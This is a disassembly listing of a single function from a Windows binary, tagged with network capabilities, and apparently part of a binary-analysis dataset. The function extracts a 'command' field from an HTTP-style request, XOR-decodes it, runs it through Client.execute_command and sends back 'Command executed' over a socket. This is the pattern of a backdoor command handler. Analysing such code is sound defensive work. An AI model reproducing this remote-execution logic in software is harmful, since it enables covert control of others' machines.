Function at 0x140002c00
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
mov rax, qword [rbp + 0xb8]
mov r8d, 0
lea rdx, [0x14000c216]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
lea rcx, [rax + 3]
lea rax, [rbp + 0x20]
mov rdx, qword [rbp + 0xb8]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x20]
mov r8d, 0
mov edx, 0x26
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char__unsigned_long_long__const
mov rcx, rax
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x20]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0xb8]
mov r8d, 0
lea rdx, str.command
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
lea rcx, [rax + 8]
mov rax, rbp
mov rdx, qword [rbp + 0xb8]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
mov rax, rbp
mov r8d, 0
mov edx, 0x20
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char__unsigned_long_long__const
mov rcx, rax
lea rax, [rbp + 0x60]
mov rdx, rbp
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rdx, [rbp + 0x60]
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + 0xa8]
movsx ecx, al
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0x20]
mov r8d, ecx
mov rcx, rax
call method.Utils.xor_data_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + 0xa8]
movsx ecx, al
lea rax, [rbp - 0x40]
mov rdx, rbp
mov r8d, ecx
mov rcx, rax
call method.Utils.xor_data_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call method.Client.execute_command_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x87]
mov qword [rbp + 0x88], rax
nop
nop
lea rdx, [rbp + 0x87]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.HTTP_1.1_200_OK_r_nContent_Type:_text_plain_r_nContent_Length:_16_r_n_r_nCommand_executed
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x87]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
mov ebx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0xc0]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002eba
add rsp, 0x118
pop rbx
pop rbp
ret